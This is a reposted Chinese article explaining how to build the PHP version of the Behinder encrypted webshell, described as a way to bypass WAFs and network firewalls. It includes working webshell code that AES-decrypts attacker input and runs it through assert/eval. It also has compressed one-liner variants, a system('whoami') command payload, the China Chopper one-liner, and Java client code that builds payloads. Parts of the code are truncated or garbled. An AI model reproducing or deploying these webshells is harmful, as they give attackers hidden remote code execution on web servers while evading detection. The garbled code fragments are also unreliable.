利⽤动态⼆进制加密实现新型⼀句话⽊马之PHP篇(转)冰蝎概述
本系列⽂章重写了java、、php三个版本的⼀句话⽊马,可以解析并执⾏客户端传递过来的加密⼆进制流,并实现了相应的客户端⼯具。从⽽⼀劳永逸的绕过WAF或者其他⽹络防⽕墙的检测。
本来是想把这三个版本写在⼀篇⽂章⾥,过程中发现篇幅太⼤,所以分成了四篇,分别是:
利⽤动态⼆进制加密实现新型⼀句话⽊马之Java篇
利⽤动态⼆进制加密实现新型⼀句话⽊马之篇
利⽤动态⼆进制加密实现新型⼀句话⽊马之php篇
利⽤动态⼆进制加密实现新型⼀句话⽊马之客户端篇
前⾔
在第⼀篇⽂章《利⽤动态⼆进制加密技术实现新型⼀句话⽊马之Java篇》中我们介绍了⼀种可以长期绕过所有流量型防护系统的思路,并完成了其Java版本的实现,绕过流程⼤体如下图,详细内容请参考第⼀篇⽂章。
现在我们继续实现该思路的PHP版本。
实现篇
服务端实现
得益于PHP语⾔的灵活性、松散性,现有的PHP⼀句话⽊马存在很多个版本,为了躲避杀毒软件和waf,php的⼀句话⽊马变形起来可以说是脑洞⼤开,精妙绝伦。下⾯我们来打造⼀个基于纯⼆进制流量的PHP⼀句话⽊马。当然,我们可以采⽤的⽅法远不⽌这⼀种,可以在此基础上衍⽣出各种变形。
和Java和.NET不同,PHP并不存在⼿动编译的过程,开发⼈员只要提供PHP源代码,然后PHP会⾃⼰把源代码编译为opcode,由Zend引擎来解析opcode。因为不存在编译的中间环节,当然也就不存在已编译的⼆进制类⽂件。所以这⾥我们要转变⼀下思路,在具体实现之前我们先看⼀个PHP的特性“可变函数”,官⽅描述为:PHP ⽀持可变函数的概念。这意味着如果⼀个变量名后有圆括号,PHP 将寻与变量的值同名的函数,并且尝试执⾏它。可变函数可以⽤来实现包括回调函数,函数表在内的⼀些⽤途。下⾯看具体实现,直接上代码吧(为了增加可读性,我对代码进⾏了⼀些扩充):
<?php
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
$arr=explode('|',$decrptContent);
$func=$arr[0];
$params=$arr[1];
$func($params);
}
>
简单解释⼀下流程:
⾸先客户端以Get形式发起带密码的握⼿请求,服务端产⽣随机密钥并写⼊Session。
客户端将源代码,如assert|eval("phpinfo();”)利⽤AES加密,发送⾄服务端,服务端收到之后先进⾏AES解密,得到中间结果字符串assert|eval("phpinfo();")。
服务端利⽤explode函数将拆分为⼀个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval("phpinfo();")。
以可变函数⽅式调⽤索引为0的数组元素,参数为索引为1的数组元素,即为assert("eval(\"phpinfo;\")") 。
压缩⼀下:
<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php:/或者:
<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php:/客户端实现
由于Java、、php三个版本是公⽤⼀个客户端,且其中多个模块可以实现复⽤,为了节省篇幅,此处就不再介绍重叠的部分,只针对PHP平台特异化的部分介绍⼀下。
1.远程获取加密密钥
详细请参考《利⽤动态⼆进制加密技术实现新型⼀句话⽊马之Java篇》。
2.动态⽣成⼆进制字节数组
如前⽂所述,PHP版本的Payload是直接⽤PHP源代码的形式来编写,样式如下:assert|eval(Payload)。然后取字符串的字节流,为后续的加密做准备。。
3.已编译类的参数化
为了实现参数化,客户端对PHP的Payload做了⼀个内部约定,Payload的格式应为function main(arg1…argN){} main(arg1…argN);
⽐如⼀个最简单的命令执⾏的Payload:
function main(cmd)
{
echo system(cmd);
}
main('whoami');
当然开发Payload的时候,我们只要专门写函数就⾏了,后⾯main函数的调⽤和参数填充,是由客户端程序⾃动实现的,相关代码如下:
public static byte[] getParamedPhp(String clsName, final Map<String, String> params) throws Exceptio
n {
String basePath="net/rebeyond/behinder/payload/php/";
String payloadPath=basePath+clsName+".php";
StringBuilder code=new StringBuilder();
ByteArrayInputStream bis = new ResourceData(payloadPath));
ByteArrayOutputStream bos = new ByteArrayOutputStream();
int b;
while (-1 != (b = ad()))
bos.write(b);
bis.close();
code.String());
String paraList="";
for (String paraName : params.keySet()) {
String paraValue = (paraName);
code.append(String.format("$%s=\"%s\";", paraName,paraValue));
paraList+=",$"+paraName;
}
placeFirst(",", "");
code.append("\r\nmain("+paraList+");");
String().getBytes();
}
4.加密payload
将上⼀步中getParamedPhp函数返回的Payload源代码字符串的字节流,利⽤握⼿请求产⽣的密钥进⾏AES加密,详细请参考《利⽤动态⼆进制加密技术实现新型⼀句话⽊马之Java篇》。
5.发送payload,接收执⾏结果并解密
详细请参考《利⽤动态⼆进制加密技术实现新型⼀句话⽊马之Java篇》。
案例演⽰
下⾯我了⼀个测试站点来演⽰⼀下绕过防御系统的效果:
⾸先我上传⼀个常规的PHP⼀句话⽊马<?php @eval($_POST['caidao']);?>,然后⽤菜⼑客户端连接,如下图,连接直接被防御系统reset 了:
国外java php然后上传我们的新型⼀句话⽊马,并⽤响应的客户端连接,可以成功连接并管理⽬标系统:
本篇完。